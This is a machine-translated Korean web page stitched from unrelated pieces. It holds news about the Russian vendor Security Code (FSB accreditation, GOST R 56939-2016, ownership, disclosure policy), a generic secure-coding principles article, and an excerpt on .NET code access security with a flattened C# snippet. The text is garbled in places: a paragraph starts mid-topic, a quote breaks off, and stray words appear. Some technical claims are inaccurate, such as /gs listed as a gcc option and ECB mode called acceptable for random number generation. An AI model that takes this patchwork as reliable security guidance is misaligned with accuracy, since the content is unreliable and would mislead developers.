2016년 보안 코드 제품을 구매한 가장 큰 고객 목록에는 러시아 국방부, 러시아 CEC 산하 정보화 연방 센터, 연방 재무부, 러시아 은행, 국영 기업 Rosatom, 내무부가 포함됩니다. 러시아 업무, 러시아 연방 보안국, 러시아 연방 교도소, MOEK, Rostec 국영 기업, RT-Invest Transport Systems 및 Rosprirodnadzor.

"보안코드"는 FSB의 시험소로 인가를 받았습니다.

Security Code는 11월에 러시아 FSB로부터 인증 인증서를 받았다고 발표했습니다. 규제 기관은 국가 비밀을 구성하는 정보에 대한 보안 요구 사항인 No. ROSS RU에 대한 정보 보안 인증 시스템의 인증 기관 목록에 회사를 포함시켰습니다. 0003.01BI00.

인증 인증서에 따라 "안전 코드"의 테스트 연구소는 러시아 연방 보안 서비스의 규제 문서 요구 사항을 준수하기 위해 제품의 기능적 특성에 대한 연구를 수행할 권리를 받습니다.

테스트 연구소로 인증을 받으면 "보안 코드"가 다음 제품 이름에 대한 인증 테스트를 수행할 수 있습니다.

  • 무단 액세스(UAS) 및 소프트웨어 책갈피로부터 정보를 보호하기 위한 소프트웨어 도구.
  • 정보 처리를 위한 보호 소프트웨어.
  • 소프트웨어 및 하드웨어 정보 보호 수단.

테스트 연구소의 주요 기능은 인증 테스트를 위해 위 제품의 샘플을 선택하는 것입니다. 인증 테스트, 구현, 인증 테스트 프로토콜 등록 및 기술적 결론을 위한 프로그램 및 방법론 개발.

"보안 코드" 연구소의 테스트 결과를 기반으로 FSB는 테스트 자료의 검사를 수행하고 신청자에게 의견을 발표한 다음 인증서를 발급할 수 있습니다.

"보안 코드" 제품 개발 프로세스는 국가 표준 GOST R 56939-2016과 일치합니다.

Security Code 회사는 2016년 여름에 국가 표준 GOST R 56939–2016에 따라 소프트웨어 개발 프로세스(SDL - Security Development Lifecycle)의 구현을 발표했습니다. 회사에서 채택한 정책은 신뢰할 수 있는 정보 보호 도구의 출시를 목표로 하는 프로세스 구성의 기본 원칙을 형성합니다.

2016년 여름, 연방 기술 규제 및 계측 기관(러시아의 Rosstandart)은 국가 표준 GOST R 56939-2016 "정보 보안"을 승인했습니다. 보안 소프트웨어 개발. 일반적인 요구 사항". 이 문서는 2017년 7월 1일부터 시행되며 신뢰할 수 있는 소프트웨어를 만들고 사용자가 식별한 오류 및 취약성을 신속하게 제거할 수 있는 환경을 만들기 위한 작업 구현의 내용과 절차를 규정합니다.

채택된 문서에 따라 "안전 코드"의 장기 목표는 품질 관리 시스템의 지속적인 개선의 일환으로 형성되며(GOST ISO 9001-2011에 따름) 이제 GOST R의 요구 사항에 중점을 둡니다. 56939–2016. 특히, 각 제품의 수명주기의 일부로 취약성 발생을 방지하고 적시에 제거하기 위한 절차가 수행됩니다. GOST R 56939-2016의 요구 사항을 기반으로 한 방법이 도입되고 개발 프로세스 및 최적화에 대한 지속적인 감사가 수행됩니다.

소유자 변경

나머지 주식은 Informzaschita 통합업체 Peter Efimov(7.5%)와 Dmitry Ershov(6%)의 설립자 및 보안 코드 Alla Skryabina(5%)의 재무 이사에게 분배됩니다.

2016년 6월까지 보안 코드는 Informzaschita가 100% 소유했습니다.

Elena Bokova는 누구이며 "보안 코드"와 "Informzaschita"에서 그녀가 대표하는 이해 관계는 TAdviser에게 말할 수 없습니다.

"보안 코드"는 "책임 있는 공개 정책"의 시작을 알립니다.

Security Code 회사는 2016년 6월 정보 보안 분야의 연구원들과의 상호 작용을 목표로 하는 프로그램의 출시를 발표했습니다. " 책임 있는 공개 정책”(책임공개방침)은 보안코드 제품에 취약점이 발견될 경우 개발자 및 외부 정보보안 전문가가 따라야 할 절차를 수립하기 위한 것입니다.

연구원이 취약점이 발견되면 소프트웨어 제조업체에만 이를 알리는 접근 방식을 통해 개발자는 취약점이 공격자에 의해 대규모로 악용되기 시작하기 전에 사용자를 보호하고 패치를 릴리스할 수 있습니다. 개발자와 외부 정보 보안 전문가 간의 규제된 상호 작용의 결과는 사고에 대한 회사의 대응 속도, 제품 품질 및 궁극적으로 고객 보호 수준의 증가입니다.

베타 출시 단계에서 제품 테스트에 사용자와 연구원을 참여시키는 것은 보안 코드의 표준 관행입니다. 특히, 워크스테이션 및 서버 보호를 위한 제품의 베타 테스트인 Secret Net Studio는 이러한 상호 작용의 성공적인 예가 되었습니다. 3개월 동안 800명 이상의 전문가가 제품을 완성할 때 희망과 의견이 고려된 기능에 대해 알 수 있었습니다. 그 결과 중 하나는 제품의 취약점을 적시에 탐지하여 제거한 것인데, 이로 인해 Secret Net Studio의 최종 버전에서 문제가 수정되었습니다.

“취약점을 조기에 감지하는 것은 고객과 개발자 모두에게 유익합니다. 이를 통해 제품 수명 주기를 조정하고 사고에 신속하게 대응하며 사용자에게 적시에 제품 업데이트를 제공할 수 있습니다. 회사와 해당 분야의 독립적인 전문가 및 조직 간의 관계 규정

다양한 취약점으로부터 프로그램 코드를 보호하는 작업은 오늘날 빠르게 성장하는 IT 산업에서 매우 중요한 문제입니다. XSS, SQL 주입, 후속 권한 획득으로 인한 버퍼 오버플로 - 이 모든 것과 훨씬 더 많은 것은 불행히도 매일 점점 더 많은 실수를 하고 있는 개발자의 실수의 결과입니다. 설명은 간단합니다. 기술은 발전하고, 코드의 양은 강력하게 증가하고 있으며, 사람들의 두뇌 및 그에 따라 작성하는 코드의 품질은 증가하지 않습니다. 또는 성장하지만 빠르지는 않습니다.

현재 코드 1000줄당 심각한 오류 1건은 프로그래머에게 매우 좋은 결과로 간주됩니다. 예를 들어, 새로운 Windows 8에는 7백만 줄이 있습니다. 치명적인 오류의 수는 9세 초등학교 졸업생이 계산할 수 있습니다.

상황이 왜 이렇게 좋지? 보안 코드를 작성하고 자체 소프트웨어의 많은 취약점으로부터 자신을 보호하려면 어떻게 해야 합니까? Microsoft의 주요 개발자인 M. Howard와 J. LeBlanc의 글을 기반으로 하는 오늘 기사에서 이에 대해 설명합니다.

프로그램의 보안과 보안 코드 작성의 원칙에 대해 쓰기 전에 최종 결과에 큰 영향을 미치는 한 가지 더 중요한 요소에 주목합니다. 응용 프로그램은 사람이 작성하고 사람들은 게으름, 부주의 및 결과적으로 많은 실수를 하기 쉽습니다. 또한 사람들은 개인적인 이득을 취하는 경향이 있으며 그 보편적인 것은 돈입니다. 따라서 보안 애플리케이션을 작성하는 첫 번째 주요 측면은 직원, 즉 개발자와 테스터의 동기입니다. 이를 수행하는 방법은 해킹에 대한 지불 또는 취약성 보호에 대한 훌륭한 기사에 설명되어 있습니다.

애플리케이션 보안

보안 코드를 작성하는 주요 작업은 보안 프로그램을 만드는 것입니다. 시스템 소유자 또는 시스템 관리자가 관리하는 컴퓨팅 리소스의 무결성 및 가용성은 물론 IT 회사의 클라이언트 정보의 기밀성, 무결성 및 가용성을 보장하는 프로그램입니다. 이하에서는 소프트웨어 개발에 관련된 조직에 대해 이야기하겠습니다. 코드를 구체적으로 작성하기 위한 특정 규칙의 구현을 확인하는 것만으로는 충분하지 않습니다. 우선 전체 반복 증분 소프트웨어 개발 프로세스를 올바르게 구성하고 올바른 애플리케이션 보안 관리를 보장해야 합니다.

애플리케이션으로 작업할 때와 작성할 때 보안 정책에 포함되어야 하는 일반 원칙을 나열해 보겠습니다. 회사의 주요 모토 중 하나는 "보안(위의 의미의 소프트웨어 보안) - 무엇보다도"라는 모토가 되어야 합니다.

액션 넘버 1. 제공 아이디어가 회사 사업 계획의 기사가 될 때까지 기업에서 보안 아이디어를 홍보합니다. 물론 이를 위해서는 회사의 이익과 직접적으로 관련된 중요한 주장을 당국에 제시한 다음 개발된 정보 보안 정책 규정에 따라 당국이 직원들에게 눈을 돌린다는 것을 설득해야 합니다.

액션 넘버 2. 정보 보안 정책의 준수 여부를 모니터링하고, 동적 정보 보안 시스템을 유지/유지/업데이트/조정하고, 새로운 정보 보안 정책(위협 모델 등)을 개발할 정보 보안 전문가를 고용합니다.

액션 넘버 3. 직원의 평생 학습 조직: 헌신과 연속성; 확인된 문제가 있는 일반 우편물과 해당 문제를 담당하는 사람들에게 이러한 문제를 해결하라는 요청; 인트라넷에 정보 보안 리소스를 만들고 가능한 정보 보안 오류와 현재 알려진 잠재적 취약점의 존재 관점에서 작성된 코드를 검토합니다.

액션 넘버 4. IS 시스템 오류 분류. 이 항목을 확장하고 호출할 수 있습니다: 분류된 위협 모델 컴파일. 의미는 분명합니다.

보안 애플리케이션 설계를 위한 일반 원칙:

1. 보호는 생성되는 소프트웨어의 통합 기능으로 설정되어야 합니다.

2. 소프트웨어 보안을 위해 충분한 시간이 허용되어야 합니다.

3. 위협 모델을 컴파일해야 합니다. 고유한 취약성을 식별하는 소프트웨어 분해; 위험의 정도와 각 취약성/위험의 발생 가능성을 결정합니다. 위협 매트릭스를 컴파일하는 단계; 위협 실현의 경우 대응책의 결정 및 조치.

4. 소프트웨어에서 안전하지 않은 기능 및 부품 제거 절차 결정.

5. 위협 모델에 해당하는 보안 메트릭이 생성되어야 하며, 여기에는 한계 임계값이 정의되어야 합니다.

6. 가능하면 초빙된 전문가에 의해 생성된 테스트 계획에 따라 개발의 각 단계에서 정보 보안 부서에서 테스트 계획의 개발 및 소프트웨어 생성 프로세스의 주기적인 검증 및 제어.

7. 이 모듈을 개발한 사람이 아닌 모듈의 필수 보안 제어.

8. 보안은 기본 구성과 배포 중에 제공되어야 합니다.

9. 소프트웨어 변경 권한 부여에 대한 특별 통제.

10. "취약점 영역"(잠재적)은 가능한 한 작아야 합니다(모든 종류의 열린 TCP/UDP 포트, 실행 및 종속 서비스, 동적 웹 페이지, 높은 권한으로 실행되는 애플리케이션 또는 서비스의 일부 등).

11. 모든 수준은 보호되어야 합니다(서로 및 다른 보호 수준과 독립적으로).

12. 최소 권한 규칙(및 + 잘 작성된 ACL)을 사용합니다.

13. 공리를 고려하여 개발을 수행해야 합니다. 외부 시스템은 기본적으로 보호되지 않습니다.

14. 실패 또는 실패 시 행동 계획을 개발하십시오.

15. 소프트웨어에 대한 정보를 제한하는 보안을 구축하지 마십시오.

16. 코드와 데이터를 분리합니다(데이터와 JS 또는 SQL 코드의 혼합을 피하십시오).

17. 보안 버그를 수정할 때 전체 시스템(모든 모듈)을 확인하고 동일한 문제를 찾으려고 합니다.

보안 코딩의 일반 원칙:

1. 크래커에게 정보를 주지 마세요.

2. 헤드라인을 통해 정보가 누출되지 않도록 하십시오.

3. 코드에 추가 항목을 포함하지 마십시오!

4. 할당량, 버퍼 및 직렬화에 주의하십시오.

5. 표준 운영 체제 도구를 사용합니다.

6. 사용자가 항상 올바른 결정을 내릴 것이라고 기대하지 마십시오. 모든 입력을 넓은 의미에서 확인하십시오.

7. \Program Files 디렉토리에 사용자 파일을 두지 마십시오.

8. 임시 파일을 안전하게 생성(GetTempPath, GetTempFileName)

9. 지원서에 회사 내 이름이 없습니다!

10. 앱에 보안 로그를 보관하십시오.

11. C/C++로 작성된 코드를 관리 언어(C#)로 이식합니다.

특정 예제에 대한 보안 코드 작성 보안

보안 응용 프로그램 작성과 관련된 프로그래밍의 주요 문제와 원칙에 대해 이야기해 보겠습니다.

1. 버퍼 오버플로(스택, 힙, 배열 인덱싱 오류로 인한 오버플로, 잘못된 인코딩으로 인한 오버플로). 처리 방법: 모든 면에서 정확성, 데이터 처리 정확성에 대한 모든 입력 데이터의 엄격한 검사; 입력 strcpy/strlen 등의 정확성 확인 데이터; gcc/VisualC++ .NET 컴파일러의 /gs 컴파일 옵션을 사용합니다.

2. 공격자가 높은 권한으로 실행되는 소프트웨어 또는 해당 서비스를 사용하는 경우(많은 예가 있으며 명백합니다). 솔루션: a) 소프트웨어에 필요한 리소스를 찾습니다. b) 소프트웨어가 사용하는 API를 찾습니다. c) 필요한 계정과 필요한 토큰을 결정합니다. d) 권한 제한으로 인해 발생하는 디버깅 오류.

3. 약한 난수. 솔루션: CBC, CFB 또는 OFB 모드에서 작동하는 우수한 전체 블록 암호를 기반으로 하는 RNG를 사용합니다(ECB 모드도 허용됨). 생성 - 암호를 기반으로 하여 특정 복잡성 조건을 충족해야 합니다(소프트웨어에서 확인해야 함).

4. 약한 암호화. 솔루션: 가능하면 단기(세션) 키를 사용하십시오. 인증 데이터는 엄격하게 중앙 집중식으로 저장되고 로컬에서 처리되어야 합니다. 안전하지 않은 채널을 통한 키 교환 문제의 경우 비대칭 암호화를 사용하여 이러한 방식으로 키만 대칭 암호로 전송합니다. ED의 순환의 경우 EDS 메커니즘을 사용하십시오.

5. 기밀 데이터의 보편적인 보호. 문제: 존재하지 않습니다. 솔루션: 강력한 대칭 알고리즘(AES, RC6, Blowfish, 3DES 등)을 사용한 데이터 암호화, 보안 레지스트리 키에 비밀번호 저장(시스템 외 사용의 경우 비밀번호를 전혀 저장하지 않음), ACL로 파일 및 레지스트리 키를 보호합니다.

6. 위험한 입력 데이터(SQL 인젝션, XSS 등). 문제: 명백합니다. 솔루션: 모든 종류의 정규식에 특별한 주의를 기울이십시오. 입력 데이터 및 필터링의 정확성과 길이에 대한 엄격한 제어. 정식 형식으로 표시되는 주소에 전체 경로를 지정합니다.

7. 데이터베이스 작업의 위험. 솔루션: a) 데이터베이스에 대한 매개변수화된 쿼리 사용, 애플리케이션 내에서 쿼리 구성 부족; 보낸 요청의 정확성에 대한 엄격한 제어; b) 시스템을 대신하여 데이터베이스에 연결하지 마십시오. d) 안전하게 저장된 프로시저를 사용합니다.

8. XSS 공격에 대한 보호: a) 출력 데이터의 코딩 b) 모든 태그 속성에 큰따옴표를 사용합니다. c) 가능한 한 자주 innerText를 사용하십시오. d) 하나의 코드 페이지만 사용하십시오.

결론

그래서 우리는 애플리케이션에서 보안 코드를 작성하는 기본 규칙을 고려했습니다. 취약점 및 프로그래밍 문제로부터 보호하는 방법. 물론 이러한 방법은 철저하지 않으며 완전한 척하지 않습니다. 프로젝트 아키텍처의 유능한 디자인의 주요 패턴, 추세 및 원칙과 주의할 점만 보여줍니다. 과대 평가하기 어려운 조직 보안과 일반적인 정보 보안 원칙을 잊지 마십시오.

처럼.

코드 액세스 보안

왜 중요 함 코드 액세스 보안 모델? 역할 기반 보안 모델을 사용하여 사용자가 수행할 수 있는 작업을 지정할 수 있고 코드 기반 액세스 보안 모델을 사용하여 코드가 수행할 수 있는 작업을 지정할 수 있습니다. .NET 4에서 이 모델은 복잡한 보안 정책을 구성할 필요를 제거하고 다음을 추가하여 단순화되었습니다. 2단계 투명한 보안(보안 투명성 레벨 2). 이러한 계층 중 하나는 이전에 존재했으며 두 번째는 .NET 4의 혁신입니다.

이 수준에서 권한 있는 호출(예: 네이티브 코드 호출)을 수행할 수 있는 코드와 그렇지 않은 코드를 구분합니다. 모든 코드는 세 가지 범주로 나뉩니다.

보안에 중요한 코드

이 코드 내에서 모든 코드를 실행할 수 있습니다. 이러한 코드는 투명 코드에서 호출할 수 없습니다.

안전 필수 코드

이 코드 내에서 다양한 보안 검사를 수행할 수 있습니다. 이러한 코드는 투명 코드에서 호출할 수 있습니다.

투명한 코드

이 코드 내에서 매우 제한된 수의 작업을 수행할 수 있습니다. 이 코드는 특정 권한 집합으로만 실행할 수 있습니다. 모래 상자. 안전하지 않거나 확인할 수 없는 코드를 포함하거나 보안에 중요한 코드를 호출할 수 없습니다. Windows 응용 프로그램을 작성할 때 코드 권한의 제한이 적용되지 않습니다.

데스크탑에서 실행되는 애플리케이션은 완전한 신뢰 권한을 가지며 모든 코드를 포함할 수 있습니다. 샌드박스 환경에서 코드의 런타임 격리는 SilverLight 응용 프로그램과 함께 사용되며 웹 공급자가 제공하거나 특정 기능(예: 관리되는 추가 기능 프레임워크 .

두 번째 수준의 투명한 보안

속성과 함께 어셈블리를 제공할 수 있습니다. 보안 규칙 SecurityRuleSet.Level2로 설정하여 .NET 4에서 사용할 수 있는 새 투명도 수준을 적용합니다. (.NET 4의 기본 수준은 이 수준입니다.) 이전 버전과의 호환성을 위해 Level1로 설정해야 합니다.

SecurityTransparent 특성이 적용되면 전체 어셈블리는 권한이 있거나 안전하지 않은 작업을 수행하지 않습니다. 일부 투명하거나 안전한 코드만 호출할 수 있습니다. 이 특성은 전체 어셈블리 수준에서만 적용할 수 있습니다.

AllowPartiallyTrustedCallers 속성투명 코드와 다른 범주의 코드 사이에 있는 코드를 만들 수 있습니다. 이 속성이 적용되면 코드는 기본적으로 투명하게 해석되지만 그 안에 있는 개별 형식이나 멤버에는 다른 속성이 있을 수 있습니다.

이러한 속성이 적용되지 않으면 코드는 보안에 중요한 것으로 간주됩니다. 그러나 원하는 경우 SecuritySafeCritical 특성을 개별 형식 및 멤버에 적용하여 투명 코드에서 호출 가능하게 만들 수 있습니다.

권한

샌드박스 내에서 실행되는 코드의 경우 .NET 권한을 정의하여 샌드박스 자체에서 코드가 수행할 수 있는 작업을 지정할 수 있습니다. 데스크톱 환경에서 실행되는 응용 프로그램에는 모든 작업을 수행할 수 있는 전체 권한 집합이 부여되는 반면 샌드박스에서 실행되는 응용 프로그램에는 호스트 환경(호스트)이 샌드박스에 전달하여 다음을 수행할 수 있는 권한 집합만 부여됩니다. 특정 작업만 수행합니다. 데스크탑 애플리케이션에서 시작된 애플리케이션 도메인에 대한 권한을 정의할 수도 있습니다. 이를 위해 다음을 사용해야 합니다. 샌드박스 API.

권한 또는 권한이란 각 코드 그룹에서 수행할 수 있는(또는 금지된) 작업을 의미합니다. 예를 들어 권한에는 "파일 시스템에서 파일 읽기", "Active Directory에 쓰기 작업 수행" 및 "소켓을 사용하여 네트워크 연결 열기"가 포함될 수 있습니다. 몇 가지 미리 정의된 권한이 있으며 직접 만들 수도 있습니다.

.NET 권한은 운영 체제 권한과 무관합니다. .NET 권한은 단순히 런타임에 의해 확인됩니다. 어셈블리에는 특정 작업을 수행할 수 있는 권한이 필요하며(예: File 클래스에는 FileIOPermission 권한이 부여되어야 함) 공용 언어 런타임은 어셈블리가 계속될 수 있도록 필요한 권한이 어셈블리에 부여되었는지 확인합니다.

어셈블리에 적용할 수 있고 코드에서 요청할 수 있는 권한 목록은 매우 길고 다단계입니다. 다음은 코드에 대해 얼마나 많은 제어를 제공할 수 있는지 보여주기 위해 CLR에서 제공하는 몇 가지 권한 클래스입니다.

디렉토리 서비스권한

System.DirectoryServices 클래스를 사용하여 Active Directory에 액세스하는 기능을 제어할 수 있습니다.

DNS 권한

DNS(도메인 이름 시스템 - 도메인 이름 서비스) 사용 기능을 관리할 수 있습니다.

환경권한

환경 변수를 읽고 쓰는 기능을 제어할 수 있습니다.

이벤트 로그 권한

이벤트 로그에서 읽기 및 쓰기 작업을 수행하는 기능을 제어할 수 있습니다.

FileDialogRemission

사용자가 열기 대화 상자에서 선택한 파일에 액세스하는 기능을 제어할 수 있습니다. 일반적으로 이러한 권한은 FileIOPermission 권한을 부여하지 않은 경우 파일에 대한 최소한의 제한된 액세스 권한을 부여하는 데 사용됩니다.

파일IO권한

파일 작업(파일 읽기, 쓰기 및 추가, 폴더 생성, 수정 및 액세스) 기능을 관리할 수 있습니다.

격리된 저장소 파일 권한

개인 가상 파일 시스템에 액세스하는 기능을 제어할 수 있습니다.

격리된 저장 권한

격리된 저장소에 액세스하는 기능을 관리할 수 있습니다. 개별 사용자와 연결되고 코드에 일종의 식별 정보가 있는 리포지토리.

메시지 대기열 권한

Microsoft Message Queue 서비스를 통해 메시지 대기열을 사용하는 기능을 관리할 수 있습니다.

성능 카운터 권한

성능 카운터를 사용할 수 있는지 여부를 제어할 수 있습니다.

인쇄허가

인쇄 기능을 제어할 수 있습니다.

리플렉션 퍼미션

System.Reflection 클래스를 사용하여 런타임에 유형 정보를 검색할 수 있는지 여부를 제어할 수 있습니다.

레지스트리 권한

시스템 레지스트리에서 섹션과 설정을 읽고, 쓰고, 만들고, 삭제하는 기능을 제어할 수 있습니다.

보안허가

실행, 권한 검증, 플랫폼 코드 호출, 검증 프로세스 우회 및 기타 권한 부여 기능을 제어할 수 있습니다.

서비스 컨트롤러 권한

Windows 서비스를 관리하는 기능을 관리할 수 있습니다.

소켓 권한

네트워크 전송 주소에서 TCP/IP 연결을 설정하거나 수락할 수 있는지 여부를 제어할 수 있습니다.

SQL클라이언트 권한

SQL Server용 .NET 데이터 공급자를 사용하여 SQL Server 데이터베이스에 액세스하는 기능을 제어할 수 있습니다.

이러한 각 클래스를 사용하여 권한을 훨씬 더 정확하게 지정할 수 있습니다. 예를 들어 DirectoryServicesPermission 클래스를 사용하면 읽기 권한과 쓰기 권한을 구분하고 디렉터리 서비스에서 액세스를 허용하거나 거부할 항목을 지정할 수 있습니다.

권한 집합

권한 집합은 권한 모음입니다. 각 권한을 코드에 개별적으로 적용할 필요가 없으며 필요한 권한을 그룹화하여 코드에 한 번에 적용할 수 있습니다. 예를 들어, FullTrust 권한 집합이 있는 어셈블리는 모든 리소스에 대한 전체 액세스 권한을 갖는 반면, 로컬 인트라넷 권한 집합이 있는 어셈블리는 격리된 저장소에만 쓸 수 있고 파일 시스템의 다른 곳에는 쓸 수 있는 기능과 함께 제한된 액세스 권한만 갖습니다. 특정 권한만 포함하는 고유한 권한 집합을 생성할 수 있습니다.

코드 그룹에 권한을 할당하면 단일 권한을 처리할 필요가 없고 한 번에 블록 단위로 권한을 적용할 수 있습니다. 이는 .NET이 권한 집합 개념에 제공하는 것입니다. 이러한 집합은 기본적으로 코드에 부여된 권한 목록이며 명명된 집합으로 결합됩니다. 다음은 .NET과 함께 기본적으로 제공되는 7개의 명명된 권한 집합에 대한 간략한 설명입니다.

승인 유형 설명
완전한 신뢰 권한에 대한 제한이 없음을 의미합니다.
확인 건너뛰기 검증 우회를 의미합니다.
실행 코드를 실행할 수 있지만 보호된 리소스에 액세스할 수 없습니다.
아무것도 아님 코드에 대한 권한을 부여하지 않으며 실행을 허용하지 않습니다.
로컬 인트라넷 전체 권한 집합의 하위 집합만 부여합니다. 예를 들어 파일 I/O 작업은 어셈블리 소스인 공유에 대한 읽기 전용 액세스로 제한됩니다. .NET 3.5 및 이전 릴리스(.NET 3.5 SP1 이전)에서 이 권한 집합은 응용 프로그램이 네트워크 공유에서 실행될 때 적용되었습니다.
인터넷 출처를 알 수 없는 코드에 대한 표준 보안 정책의 사용을 제공합니다. 나열된 모든 권한 집합 중에서 이것이 가장 제한적입니다. 예를 들어, 이 권한 집합에서 실행되는 코드는 파일 I/O, 이벤트 로그 읽기 및 쓰기 또는 환경 변수 읽기 및 쓰기가 허용되지 않습니다.
모든 것 SkipVerification을 제외하고 위의 모든 권한 발급을 제공합니다. 관리자는 이 집합의 모든 권한을 변경할 수 있습니다. 이는 기본 보안 정책을 강화해야 하는 경우에 유용합니다.

Everything 집합에서만 권한 정의를 변경할 수 있다는 점을 기억하는 것이 중요합니다. 나머지 세트는 고정되어 변경할 수 없습니다. 물론 고유한 권한 집합을 만들 수도 있습니다.

프로그래밍 방식으로 권한 요청

어셈블리는 선언적으로 또는 프로그래밍 방식으로 권한을 요청할 수 있습니다. 다음 코드 조각은 DemandFileIOPermissions() 메서드를 사용하여 권한을 요청하는 방법을 보여줍니다. System.Security.Permissions 네임스페이스를 가져온 후 FileIOPermission 개체를 만들고 해당 Demand() 메서드를 호출하여 필요한 권한을 확인할 수 있습니다.

이 메서드를 사용하면 메서드를 호출하는 코드(이 경우 DemandFileIOPermissions)에 필요한 권한이 있는지 확인할 수 있습니다. Demand() 메서드가 실패하면 SecurityException이 throw됩니다. 이 예외는 catch되지 않고 호출 코드에서 처리하도록 남겨둘 수 있습니다.

시스템 사용; System.Security 사용; System.Security.Permissions 사용 System.IO 사용; 네임스페이스 Wrox.ProCSharp.Security ( public class DemandPermissions ( public void DemandFileIOPermissions(string path) ( var fileIOPermission = new FileIOPermission(PermissionState.Unrestricted); fileIOPermission.Demand(); //... ) ) )

FileIOPermission 클래스는 완전한 권한 집합을 정의하는 System.Security.Permissions 네임스페이스에 포함되어 있으며 선언적 권한 속성에 대한 클래스와 권한 개체를 만드는 데 사용되는 매개 변수에 대한 열거(예: 다음을 지정하는 FileIOPermission 개체 만들기) 읽기 전용 액세스가 필요한지 또는 전체 액세스가 필요한지 여부).

코드가 부여된 권한과 일치하지 않는 작업을 시도할 때 CLR(공용 언어 런타임)에서 throw되는 예외를 catch하려면 SecurityException 유형의 예외를 트래핑할 수 있습니다. 이 예외는 읽을 수 있는 스택 추적(SecurityException.StackTrace) 및 예외를 throw한 메서드에 대한 참조(SecurityException.TargetSite)를 포함하여 유용한 정보 집합에 대한 액세스를 제공합니다. 또한 SecurityException은 예외를 throw한 Permission 개체의 형식에 대한 정보를 반환하는 SecurityException.PermissionType 속성을 제공합니다.

파일 입력 및 출력 작업에 .NET 클래스만 사용하는 경우 FileIOPermission을 직접 요청할 필요가 없습니다. 이러한 작업을 수행할 수 있는 .NET 클래스가 직접 요청할 수 있기 때문입니다. 그러나 CreateFileTransacted()와 같은 네이티브 API 메서드를 호출하는 래퍼를 만들 때는 직접 요청해야 합니다. 이 메커니즘을 사용하여 호출 코드에서 특수 권한을 요청할 수도 있습니다.

공유하다